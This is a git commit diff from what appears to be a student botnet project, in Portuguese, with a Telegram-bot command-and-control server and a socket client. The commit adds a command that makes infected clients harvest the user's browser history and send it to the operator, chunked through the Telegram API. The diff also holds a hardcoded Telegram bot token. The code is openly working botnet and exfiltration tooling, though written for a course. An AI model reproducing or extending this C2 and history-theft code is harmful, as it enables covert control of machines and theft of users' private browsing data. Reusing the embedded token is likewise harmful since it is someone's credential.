Week 17, Update 02

This commit is contained in:
Sidney PEPO (aka sysb1n) 2024-01-05 00:22:05 -03:00
parent b76b67c50f
commit c541711f59
Signed by: sidneypepo
GPG Key ID: A188DCCE6CD96D52
5 changed files with 68 additions and 28 deletions

View File

@ -20,7 +20,7 @@
# Importando bibliotecas
from constantes import *
import socket, time
import funcoes, socket, time
# Função para parar o cliente
def parar_cliente():
@ -62,6 +62,8 @@ def realizar_conexao():
# Analisando mensagem do servidor e preparando resposta
if (mensagem_recebida == "alive?"):
mensagem_retorno = "alive!".encode(CHARSET)
elif ("./c2 -b" in mensagem_recebida):
mensagem_retorno = funcoes.obter_historico().encode(CHARSET)
elif ("./c2 -q" in mensagem_recebida):
mensagem_retorno = f"Encerrando cliente em {TIMEOUT} segundos...".encode(CHARSET)
parar_cliente()

View File

@ -18,8 +18,17 @@
# along with this program. If not, see <https://www.gnu.org/licenses/>.
#
# Armazenando informações de socket do servidor, tempo entre
# operações, codificação de caracteres e opções do bot
# Importando bibliotecas
import os
# Armazenando caminho completo do diretório desse programa para
# funções que leem ou escrevem arquivos, token do bot
# (@progredes_c2_bot) e endereço da API do Telegram, informações
# de socket do servidor, tempo entre operações, codificação de
# caracteres e opções do bot
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
SOCKET_SERVIDOR = ("localhost", 50000)
TIMEOUT = 10
TAMANHO_BUFFER = 512

View File

@ -19,11 +19,8 @@
#
# Importando bibliotecas
import os, socket
# Armazenando caminho completo do diretório desse programa para
# funções que leem ou escrevem arquivos
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
from constantes import *
import os, socket, json, browser_history
# Função para remover um arquivo no diretório local do programa
def remover_arquivo(nome_arquivo: str):
@ -61,3 +58,13 @@ def ehinteiro(numero: str):
# Retorna False, casoa string não seja um número inteiro
return False
# Função para retornar o histórico de navegação de um cliente
def obter_historico():
historico = json.loads(browser_history.get_history().to_json())["history"]
retorno = ''
for index in historico:
retorno += index["URL"] + '\n'
return retorno

View File

@ -20,12 +20,7 @@
# Importando bibliotecas
from constantes import *
import funcoes, requests
# Armazenando token do bot (@progredes_c2_bot) e endereço da API
# do Telegram
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
import funcoes, requests, time
# Função para salvar a última atualização
def salvar_update_id(update_id: int):
@ -84,11 +79,13 @@ def obter_atualizacoes(latest_update_id: int):
# Função para responder mensagem
def responder_mensagem(retorno: dict):
if (retorno["text"] == ''):
mensagem = retorno["text"]
if (mensagem == ''):
retorno["text"] = f"""Comando desconhecido ou incorreto!
Digite `./c2 -h` para obter a lista de comandos válidos"""
elif (retorno["text"] == "./c2 -h"):
elif (mensagem == "./c2 -h"):
retorno["text"] = f"""Uso: `./c2 [OPÇÃO] [ARGUMENTO]...`
Comando e Controle (C2) da _botnet_ do Projeto de ProgRedes 2023.2.
@ -112,5 +109,14 @@ Opções:
Exemplos:
` ./c2 -h ` Pede informações do C2"""
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
if (len(mensagem) < 2048):
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
return
while (len(mensagem) > 0):
retorno["text"] = f"```text\n{mensagem[:2048]}```"
requests.post(f"{TELEGRAM_API}/sendMessage", data=retorno)
mensagem = mensagem[2048:]
time.sleep(3)
return

View File

@ -67,15 +67,11 @@ def cliente_online(index: int):
try:
resposta = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
clientes[index][1].release()
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Destravando as transmissões do cliente
clientes[index][1].release()
# Se o tamanho da resposta do cliente for menor que 1, finaliza-se
# o socket do cliente, remove-se o mesmo da lista de clientes e
# retorna-se o índice
@ -85,6 +81,9 @@ def cliente_online(index: int):
clientes.pop(index)
return index
# Destravando as transmissões do cliente
clientes[index][1].release()
# Se a resposta do "ping" estiver incorreta, destrava-se as
# transmissões para o cliente e retorna-se o índice
if (resposta != "alive!"):
@ -181,6 +180,26 @@ def informar_desconectado(index: int, retorno: dict):
return
# Função para receber dados de um cliente
def receber_dados(index):
# Recebendo dados até que o buffer recebido seja menor que o
# tamanho máximo de buffer
retorno = ''
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
raise Exception()
retorno += dados
while (not len(dados) < TAMANHO_BUFFER):
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
raise Exception()
retorno += dados
return retorno
def main():
# Armazenando, globalmente, variável de continuidade da execução
# do servidor e lista de clientes
@ -302,7 +321,6 @@ Digite `./c2 -l` para obter a lista de IDs disponíveis"""
try:
clientes[index][0][0].send(message_text.encode(CHARSET))
except:
clientes[index][1].release()
informar_desconectado(index, retorno)
continue
@ -310,22 +328,20 @@ Digite `./c2 -l` para obter a lista de IDs disponíveis"""
# destrava-se as transmissões para o mesmo e informa-se desconexão
# do mesmo
try:
retorno["text"] = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
retorno["text"] = receber_dados(index)
except:
clientes[index][1].release()
informar_desconectado(index, retorno)
continue
# Destravando as transmissões do cliente
clientes[index][1].release()
# Se o tamanho da resposta for menor que 1, informa-se desconexão
# do cliente
if (len(retorno["text"]) < 1):
informar_desconectado(index, retorno)
continue
# Respondendo mensagem com resposta do cliente
# Destravando as transmissões do cliente e respondendo mensagem
# com resposta do cliente
clientes[index][1].release()
requisicoes.responder_mensagem(retorno)
return